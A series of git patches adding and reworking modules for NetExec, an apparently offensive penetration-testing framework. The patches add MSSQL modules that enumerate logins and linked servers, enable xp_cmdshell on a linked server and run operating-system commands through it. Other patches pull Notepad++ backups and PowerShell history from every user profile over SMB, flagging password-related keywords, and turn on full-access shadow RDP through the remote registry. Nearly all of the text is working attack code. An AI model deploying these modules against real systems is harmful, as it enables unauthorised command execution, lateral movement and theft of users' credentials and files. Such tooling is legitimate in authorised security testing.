From 87199f6e5cbe53305fd6677312d0e023efc3ad41 Mon Sep 17 00:00:00 2001 From: deathflamingo <124906675+deathflamingo@users.noreply.github.com> Date: Wed, 11 Sep 2024 15:10:33 +0530 Subject: [PATCH 01/42] Add files via upload Signed-off-by: deathflamingo <124906675+deathflamingo@users.noreply.github.com> --- nxc/modules/enum_impersonate.py | 45 ++++++++++++++++++++++++ nxc/modules/enum_links.py | 39 +++++++++++++++++++++ nxc/modules/enum_logins.py | 39 +++++++++++++++++++++ nxc/modules/exec_on_link.py | 43 +++++++++++++++++++++++ nxc/modules/link_enable_xp.py | 62 +++++++++++++++++++++++++++++++++ nxc/modules/link_xpcmd.py | 43 +++++++++++++++++++++++ 6 files changed, 271 insertions(+) create mode 100644 nxc/modules/enum_impersonate.py create mode 100644 nxc/modules/enum_links.py create mode 100644 nxc/modules/enum_logins.py create mode 100644 nxc/modules/exec_on_link.py create mode 100644 nxc/modules/link_enable_xp.py create mode 100644 nxc/modules/link_xpcmd.py diff --git a/nxc/modules/enum_impersonate.py b/nxc/modules/enum_impersonate.py new file mode 100644 index 00000000..5079f7af --- /dev/null +++ b/nxc/modules/enum_impersonate.py @@ -0,0 +1,45 @@ +#Author: +# deathflamingo +class NXCModule: + """Enumerate SQL Server users with impersonation rights""" + + name = "enum_impersonate" + description = "Enumerate users with impersonation privileges" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + impersonate_users = self.get_impersonate_users() + if impersonate_users: + self.context.log.success("Users with impersonation rights:") + for user in impersonate_users: + self.context.log.display(f" - {user}") + else: + self.context.log.fail("No users with impersonation rights found.") + + def get_impersonate_users(self) -> list: + """ + Fetches a list of users with impersonation rights. + + Returns: + ------- + list: List of user names. + """ + query = """ + SELECT DISTINCT b.name + FROM sys.server_permissions a + INNER JOIN sys.server_principals b + ON a.grantor_principal_id = b.principal_id + WHERE a.permission_name LIKE 'IMPERSONATE%' + """ + res = self.mssql_conn.sql_query(query) + return [user["name"] for user in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_links.py b/nxc/modules/enum_links.py new file mode 100644 index 00000000..0797fd6a --- /dev/null +++ b/nxc/modules/enum_links.py @@ -0,0 +1,39 @@ +#Author: +# deathflamingo +class NXCModule: + """Enumerate SQL Server linked servers""" + + name = "enum_links" + description = "Enumerate linked SQL Servers" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + linked_servers = self.get_linked_servers() + if linked_servers: + self.context.log.success("Linked servers found:") + for server in linked_servers: + self.context.log.display(f" - {server}") + else: + self.context.log.fail("No linked servers found.") + + def get_linked_servers(self) -> list: + """ + Fetches a list of linked servers. + + Returns: + ------- + list: List of linked server names. + """ + query = "EXEC sp_linkedservers;" + res = self.mssql_conn.sql_query(query) + return [server["SRV_NAME"] for server in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/enum_logins.py b/nxc/modules/enum_logins.py new file mode 100644 index 00000000..7b4449f2 --- /dev/null +++ b/nxc/modules/enum_logins.py @@ -0,0 +1,39 @@ +#Author: +# deathflamingo +class NXCModule: + """Enumerate SQL Server logins""" + + name = "enum_logins" + description = "Enumerate SQL Server logins" + supported_protocols = ["mssql"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.mssql_conn = None + self.context = None + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + logins = self.get_logins() + if logins: + self.context.log.success("Logins found:") + for login in logins: + self.context.log.display(f" - {login}") + else: + self.context.log.fail("No logins found.") + + def get_logins(self) -> list: + """ + Fetches a list of SQL Server logins. + + Returns: + ------- + list: List of login names. + """ + query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';" + res = self.mssql_conn.sql_query(query) + return [login["name"] for login in res] if res else [] + def options(self, context, module_options): + pass diff --git a/nxc/modules/exec_on_link.py b/nxc/modules/exec_on_link.py new file mode 100644 index 00000000..a5342bd1 --- /dev/null +++ b/nxc/modules/exec_on_link.py @@ -0,0 +1,43 @@ +#Author: +# deathflamingo +class NXCModule: + """Execute commands on linked servers""" + + name = "exec_on_link" + description = "Execute commands on a SQL Server linked server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.mssql_conn = None + self.context = None + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + LINKED_SERVER: The name of the linked server to execute the command on. + COMMAND: The command to execute on the linked server. + """ + if "LINKED_SERVER" in module_options: + self.linked_server = module_options["LINKED_SERVER"] + if "COMMAND" in module_options: + self.command = module_options["COMMAND"] + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.") + return + + self.execute_on_link() + + def execute_on_link(self): + """ + Executes the specified command on the linked server. + """ + query = f"EXEC ('{self.command}') AT [{self.linked_server}];" + result = self.mssql_conn.sql_query(query) + self.context.log.display(f"Command output: {result}") diff --git a/nxc/modules/link_enable_xp.py b/nxc/modules/link_enable_xp.py new file mode 100644 index 00000000..e5f514f2 --- /dev/null +++ b/nxc/modules/link_enable_xp.py @@ -0,0 +1,62 @@ +#Author: +# deathflamingo +class NXCModule: + """Enable or disable xp_cmdshell on a linked SQL server""" + + name = "link_enable_xp" + description = "Enable or disable xp_cmdshell on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.action = None + self.linked_server = None + + def options(self, context, module_options): + """ + Defines the options for enabling or disabling xp_cmdshell on the linked server. + ACTION Specifies whether to enable or disable: + - enable (default) + - disable + LINKED_SERVER The name of the linked SQL server to target. + """ + self.action = module_options.get("ACTION", "enable") + self.linked_server = module_options.get("LINKED_SERVER") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server: + self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.") + return + + # Enable or disable xp_cmdshell based on action + if self.action == "enable": + self.enable_xp_cmdshell() + elif self.action == "disable": + self.disable_xp_cmdshell() + else: + self.context.log.fail(f"Unknown action: {self.action}") + + def enable_xp_cmdshell(self): + """Enable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling advanced options on {self.linked_server}...") + out=self.query_and_get_output(query) + query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...") + out=self.query_and_get_output(query) + self.context.log.display(out) + self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}") + + def disable_xp_cmdshell(self): + """Disable xp_cmdshell on the linked server.""" + query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]" + self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...") + self.query_and_get_output(query) + self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) diff --git a/nxc/modules/link_xpcmd.py b/nxc/modules/link_xpcmd.py new file mode 100644 index 00000000..a1318a8a --- /dev/null +++ b/nxc/modules/link_xpcmd.py @@ -0,0 +1,43 @@ +#Author: +# deathflamingo +class NXCModule: + """Run xp_cmdshell commands on a linked SQL server""" + + name = "link_xpcmd" + description = "Run xp_cmdshell commands on a linked SQL server" + supported_protocols = ["mssql"] + opsec_safe = False + multiple_hosts = False + + def __init__(self): + self.linked_server = None + self.command = None + + def options(self, context, module_options): + """ + Defines the options for running xp_cmdshell commands on a linked server. + LINKED_SERVER The name of the linked SQL server to target. + CMD The command to run via xp_cmdshell. + """ + self.linked_server = module_options.get("LINKED_SERVER") + self.command = module_options.get("CMD") + + def on_login(self, context, connection): + self.context = context + self.mssql_conn = connection.conn + if not self.linked_server or not self.command: + self.context.log.fail("Please provide both LINKED_SERVER and CMD options.") + return + + self.run_xp_cmdshell(self.command) + + def run_xp_cmdshell(self, cmd): + """Run the specified command via xp_cmdshell on the linked server.""" + query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]" + self.context.log.display(f"Running command on {self.linked_server}: {cmd}") + result = self.query_and_get_output(query) + self.context.log.success(f"Command output:\n{result}") + + def query_and_get_output(self, query): + """Executes a query and returns the output.""" + return self.mssql_conn.sql_query(query) From f41988424949205f27e5a04c250ba506b622c008 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Fri, 11 Oct 2024 16:47:47 +0200 Subject: [PATCH 02/42] Create Notepad++.py Signed-off-by: Deft_ --- nxc/modules/Notepad++.py | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 nxc/modules/Notepad++.py diff --git a/nxc/modules/Notepad++.py b/nxc/modules/Notepad++.py new file mode 100644 index 00000000..bc8cc3a1 --- /dev/null +++ b/nxc/modules/Notepad++.py @@ -0,0 +1,30 @@ +# Finds Notepad++ unsaved and backed up files +# Module by @Defte_ +from io import BytesIO + +class NXCModule: + name = "notepad++" + description = "Extracts notepad++ unsaved files." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + + def options(self, context, module_options): + """ """ + + def on_admin_login(self, context, connection): + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + try: + for file in connection.conn.listPath("C$", f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\*"): + if file.get_longname() not in self.false_positive: + file_path = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\{file.get_longname()}" + context.log.highlight(f"C:\\{file_path}") + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore") + context.log.highlight(f"\t{file_content}") + except Exception: + pass From 807e47200d09e1802e5499e801ce457d308b056e Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sat, 12 Oct 2024 18:46:22 +0200 Subject: [PATCH 03/42] [SMB] Powershell history module rework Signed-off-by: Deft_ --- nxc/modules/powershell_history.py | 103 ++++++++++++++---------------- 1 file changed, 47 insertions(+), 56 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 79de46a5..9ed8ff4d 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -1,73 +1,64 @@ -import traceback from os import makedirs from os.path import join, abspath from nxc.paths import NXC_PATH +from io import BytesIO class NXCModule: - """Module by @357384n""" + # Module by @357384n + # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" description = "Extracts PowerShell history for all users and looks for sensitive commands." supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + sensitive_keywords = [ + "password", "passw", "secret", "credential", "key", + "get-credential", "convertto-securestring", "set-localuser", + "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", + "invoke-webrequest", "invoke-restmethod" + ] - def options(self, context, module_options): - """To export all the history you can add the following option: -o export=True""" - context.log.info(f"Received module options: {module_options}") + def options(self, _, module_options): self.export = bool(module_options.get("EXPORT", False)) - context.log.info(f"Option export set to: {self.export}") - - def analyze_history(self, history): - """Analyze PowerShell history for sensitive information.""" - sensitive_keywords = [ - "password", "passwd", "passw", "secret", "credential", "key", - "get-credential", "convertto-securestring", "set-localuser", - "new-localuser", "set-adaccountpassword", "new-object system.net.webclient", - "invoke-webrequest", "invoke-restmethod" - ] - sensitive_commands = [] - for command in history: - command_lower = command.lower() - if any(keyword.lower() in command_lower for keyword in sensitive_keywords): - sensitive_commands.append(command.strip()) - return sensitive_commands def on_admin_login(self, context, connection): - """Main function to retrieve and analyze PowerShell history.""" - try: - context.log.info("Retrieving PowerShell history...") - command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"' - history = connection.execute(command, True).split("\n") - if history: - sensitive_commands = self.analyze_history(history) - if sensitive_commands: - context.log.highlight("Sensitive commands found in PowerShell history:") - for command in sensitive_commands: - context.log.highlight(f" {command}") - else: - context.log.info("No sensitive commands found in PowerShell history.") - else: - context.log.info("No PowerShell history found.") - - # Check if export is enabled - context.log.info(f"Export option is set to: {self.export}") - if self.export and history: - host = connection.host # Assuming 'host' contains the target IP or hostname - filename = f"{host}_powershell_history.txt" - export_path = join(NXC_PATH, "modules", "powershell_history") - path = abspath(join(export_path, filename)) - makedirs(export_path, exist_ok=True) - - context.log.info(f"Export enabled, writing history to {path}") + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: try: - with open(path, "w") as file: - for cmd in history: - file.write(cmd + "\n") - context.log.highlight(f"PowerShell history written to: {path}") - except Exception as e: - context.log.fail(f"Failed to write history to {filename}: {e}") - except Exception as e: - context.log.fail(f"UNEXPECTED ERROR: {e}") - context.log.debug(traceback.format_exc()) + powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" + for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): + if file.get_longname() not in self.false_positive: + file_path = f"{powershell_history_dir}{file.get_longname()}" + + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + keywords = [] + for keyword in self.sensitive_keywords: + if keyword in file_content: + keywords.append(keyword.upper()) + + if keyword: + context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") + else: + context.log.highlight(f"C:\\{file_path}") + + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + if self.export: + filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt" + export_path = join(NXC_PATH, "modules", "powershell_history") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"PowerShell history written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write history to {filename}: {e}") + except Exception: + pass From 29329bfee2c27864de2affdcc959bd1c84d84bc3 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sat, 12 Oct 2024 19:16:01 +0200 Subject: [PATCH 04/42] Update and rename Notepad++.py to notepad++.py Signed-off-by: Deft_ --- nxc/modules/Notepad++.py | 30 ------------------------ nxc/modules/notepad++.py | 50 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+), 30 deletions(-) delete mode 100644 nxc/modules/Notepad++.py create mode 100644 nxc/modules/notepad++.py diff --git a/nxc/modules/Notepad++.py b/nxc/modules/Notepad++.py deleted file mode 100644 index bc8cc3a1..00000000 --- a/nxc/modules/Notepad++.py +++ /dev/null @@ -1,30 +0,0 @@ -# Finds Notepad++ unsaved and backed up files -# Module by @Defte_ -from io import BytesIO - -class NXCModule: - name = "notepad++" - description = "Extracts notepad++ unsaved files." - supported_protocols = ["smb"] - opsec_safe = True - multiple_hosts = True - false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] - - def options(self, context, module_options): - """ """ - - def on_admin_login(self, context, connection): - for directory in connection.conn.listPath("C$", "Users\\*"): - if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: - try: - for file in connection.conn.listPath("C$", f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\*"): - if file.get_longname() not in self.false_positive: - file_path = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\{file.get_longname()}" - context.log.highlight(f"C:\\{file_path}") - buf = BytesIO() - connection.conn.getFile("C$", file_path, buf.write) - buf.seek(0) - file_content = buf.read().decode("utf-8", errors="ignore") - context.log.highlight(f"\t{file_content}") - except Exception: - pass diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py new file mode 100644 index 00000000..54dd59c9 --- /dev/null +++ b/nxc/modules/notepad++.py @@ -0,0 +1,50 @@ +from io import BytesIO +from os import makedirs +from os.path import join, abspath +from nxc.paths import NXC_PATH + + +class NXCModule: + # Finds notepad++ unsaved backup files + # Module by @Defte_ + + name = "notepad++" + description = "Extracts notepad++ unsaved files." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + + def options(self, context, module_options): + """""" + + def on_admin_login(self, context, connection): + found = 0 + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + try: + notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" + for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): + file_path = f"{notepad_backup_dir}{file.get_longname()}" + if file.get_longname() not in self.false_positive: + found += 1 + file_path = f"{notepad_backup_dir}{file.get_longname()}" + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + file_content = buf.read().decode("utf-8", errors="ignore").lower() + context.log.highlight(f"C:\\{file_path}") + for line in file_content.splitlines(): + context.log.highlight(f"\t{line}") + filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt" + export_path = join(NXC_PATH, "modules", "notepad++") + path = abspath(join(export_path, filename)) + makedirs(export_path, exist_ok=True) + try: + with open(path, "w+") as file: + file.write(file_content) + context.log.highlight(f"Notepad++ backup written to: {path}") + except Exception as e: + context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}") + except Exception: + pass From dadad0e3f8b4c01c5769b4cc77432114c7a3405b Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sat, 12 Oct 2024 20:25:53 +0200 Subject: [PATCH 05/42] Create recent_files.py Signed-off-by: Deft_ --- nxc/modules/recent_files.py | 39 +++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) create mode 100644 nxc/modules/recent_files.py diff --git a/nxc/modules/recent_files.py b/nxc/modules/recent_files.py new file mode 100644 index 00000000..bee613af --- /dev/null +++ b/nxc/modules/recent_files.py @@ -0,0 +1,39 @@ +import pylnk3 +from io import BytesIO + + +class NXCModule: + # Get a list of recently modified files via LNK's stored in AppData\Roaming\Microsoft\Windows\Recent + # Module by @Defte_ + + name = "recent_files" + description = "Extracts recently modified files" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] + + def options(self, context, module_options): + """""" + + def on_admin_login(self, context, connection): + lnks = [] + for directory in connection.conn.listPath("C$", "Users\\*"): + if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + context.log.highlight(f"C:\\{directory.get_longname()}") + recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" + for file in connection.conn.listPath("C$", f"{recent_files_dir}\\*"): + file_path = f"{recent_files_dir}{file.get_longname()}" + if file.get_longname() not in self.false_positive: + file_path = f"{recent_files_dir}{file.get_longname()}" + try: + buf = BytesIO() + connection.conn.getFile("C$", file_path, buf.write) + buf.seek(0) + lnk = pylnk3.parse(buf).path + if lnk and lnk not in lnks: + context.log.highlight(f"\t{lnk}") + lnks.append(lnk) + except Exception as e: + # needed because of hidden directories in the Recents directory + context.log.debug(f"Couldn't open {file_path} because of {e}") From 26e08ca6a05469f1063034765970cb2146d32d65 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sun, 13 Oct 2024 17:27:37 +0200 Subject: [PATCH 06/42] Update runasppl.py Signed-off-by: Deft_ --- nxc/modules/runasppl.py | 44 ++++++++++++++++++++++++++++++++++------- 1 file changed, 37 insertions(+), 7 deletions(-) diff --git a/nxc/modules/runasppl.py b/nxc/modules/runasppl.py index 15f6bccd..0520189c 100644 --- a/nxc/modules/runasppl.py +++ b/nxc/modules/runasppl.py @@ -1,5 +1,10 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations +from impacket.dcerpc.v5.rrp import DCERPCSessionError + class NXCModule: + # Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation name = "runasppl" description = "Check if the registry value RunAsPPL is set or not" supported_protocols = ["smb"] @@ -14,10 +19,35 @@ class NXCModule: """""" def on_admin_login(self, context, connection): - command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL" - context.log.debug(f"Executing command: {command}") - p = connection.execute(command, True) - if "The system was unable to find the specified registry key or value" in p: - context.log.debug("Unable to find RunAsPPL Registry Key") - else: - context.log.highlight(p) + try: + remote_ops = RemoteOperations(connection.conn, False) + remote_ops.enableRegistry() + + if remote_ops._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) + reg_handle = ans["phKey"] + ans = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SYSTEM\\CurrentControlSet\\Control\\Lsa" + ) + key_handle = ans["phkResult"] + _ = data = None + try: + _, data = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "RunAsPPL\x00", + ) + except rrp.DCERPCSessionError as e: + context.log.debug(f"RunAsPPL error {e} on host {connection.host}") + + if data is None or data not in [1, 2]: + context.log.highlight("RunAsPPL disabled") + else: + context.log.highlight("RunAsPPL enabled") + + except DCERPCSessionError as e: + context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}") + finally: + remote_ops.finish() From 3c197634b2d70ac33987ff5e013c0d665ce96988 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Sun, 13 Oct 2024 21:52:19 +0200 Subject: [PATCH 07/42] Delete nxc/modules/recent_files.py (clownface) Signed-off-by: Deft_ --- nxc/modules/recent_files.py | 39 ------------------------------------- 1 file changed, 39 deletions(-) delete mode 100644 nxc/modules/recent_files.py diff --git a/nxc/modules/recent_files.py b/nxc/modules/recent_files.py deleted file mode 100644 index bee613af..00000000 --- a/nxc/modules/recent_files.py +++ /dev/null @@ -1,39 +0,0 @@ -import pylnk3 -from io import BytesIO - - -class NXCModule: - # Get a list of recently modified files via LNK's stored in AppData\Roaming\Microsoft\Windows\Recent - # Module by @Defte_ - - name = "recent_files" - description = "Extracts recently modified files" - supported_protocols = ["smb"] - opsec_safe = True - multiple_hosts = True - false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"] - - def options(self, context, module_options): - """""" - - def on_admin_login(self, context, connection): - lnks = [] - for directory in connection.conn.listPath("C$", "Users\\*"): - if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: - context.log.highlight(f"C:\\{directory.get_longname()}") - recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" - for file in connection.conn.listPath("C$", f"{recent_files_dir}\\*"): - file_path = f"{recent_files_dir}{file.get_longname()}" - if file.get_longname() not in self.false_positive: - file_path = f"{recent_files_dir}{file.get_longname()}" - try: - buf = BytesIO() - connection.conn.getFile("C$", file_path, buf.write) - buf.seek(0) - lnk = pylnk3.parse(buf).path - if lnk and lnk not in lnks: - context.log.highlight(f"\t{lnk}") - lnks.append(lnk) - except Exception as e: - # needed because of hidden directories in the Recents directory - context.log.debug(f"Couldn't open {file_path} because of {e}") From 581d5c600ab52a7650be1088cfb27f9356e5013c Mon Sep 17 00:00:00 2001 From: Deft_ Date: Tue, 15 Oct 2024 20:03:02 +0200 Subject: [PATCH 08/42] Remove (little) unecessary code Signed-off-by: Deft_ --- nxc/modules/powershell_history.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 9ed8ff4d..5abbaea7 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -5,7 +5,7 @@ from io import BytesIO class NXCModule: - # Module by @357384n + """Module by @357384n""" # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" @@ -26,7 +26,7 @@ class NXCModule: def on_admin_login(self, context, connection): for directory in connection.conn.listPath("C$", "Users\\*"): - if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + if directory.get_longname() not in self.false_positive and directory.is_directory(): try: powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\" for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"): @@ -45,7 +45,7 @@ class NXCModule: if keyword: context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: - context.log.highlight(f"C:\\{file_path}") + context.log.highlight(f"C:\\{file_path}\n") for line in file_content.splitlines(): context.log.highlight(f"\t{line}") From 5a364f79295f91e54c9a69872dbe2d2f3cf7b77a Mon Sep 17 00:00:00 2001 From: Deft_ Date: Tue, 15 Oct 2024 20:04:27 +0200 Subject: [PATCH 09/42] Minor code optimization Signed-off-by: Deft_ --- nxc/modules/powershell_history.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/powershell_history.py b/nxc/modules/powershell_history.py index 5abbaea7..c410d3b1 100644 --- a/nxc/modules/powershell_history.py +++ b/nxc/modules/powershell_history.py @@ -5,7 +5,7 @@ from io import BytesIO class NXCModule: - """Module by @357384n""" + # Module by @357384n # Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command name = "powershell_history" @@ -45,7 +45,7 @@ class NXCModule: if keyword: context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]") else: - context.log.highlight(f"C:\\{file_path}\n") + context.log.highlight(f"C:\\{file_path}") for line in file_content.splitlines(): context.log.highlight(f"\t{line}") From 821741a789f94eebcc5952005811a1a55b24a7b5 Mon Sep 17 00:00:00 2001 From: Deft_ Date: Tue, 15 Oct 2024 20:05:45 +0200 Subject: [PATCH 10/42] Update notepad++.py Signed-off-by: Deft_ --- nxc/modules/notepad++.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/notepad++.py b/nxc/modules/notepad++.py index 54dd59c9..54f19faf 100644 --- a/nxc/modules/notepad++.py +++ b/nxc/modules/notepad++.py @@ -21,7 +21,7 @@ class NXCModule: def on_admin_login(self, context, connection): found = 0 for directory in connection.conn.listPath("C$", "Users\\*"): - if directory.get_longname() not in self.false_positive and directory.is_directory() > 0: + if directory.get_longname() not in self.false_positive and directory.is_directory(): try: notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\" for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"): From 6dcc0cf2d3960071cd5c706575e4ee87dd5b169f Mon Sep 17 00:00:00 2001 From: Deft_ Date: Thu, 17 Oct 2024 13:47:32 +0200 Subject: [PATCH 11/42] Create shadowrdp.py Signed-off-by: Deft_ --- nxc/modules/shadowrdp.py | 83 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 nxc/modules/shadowrdp.py diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py new file mode 100644 index 00000000..040cb645 --- /dev/null +++ b/nxc/modules/shadowrdp.py @@ -0,0 +1,83 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + +# Module by @Defte_ +# Enables or disables shadow RDP +class NXCModule: + name = "shadowrdp" + description = "Enables or disables shadow RDP" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + exit(1) + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + exit(1) + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\" + )['phkResult'] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00" + ) + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("here") + ans = rrp.hBaseRegCreateKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 0 + ) + context.log.highlight("Shadow RDP disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 2 + ) + context.log.highlight("Shadow RDP with full access enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() From 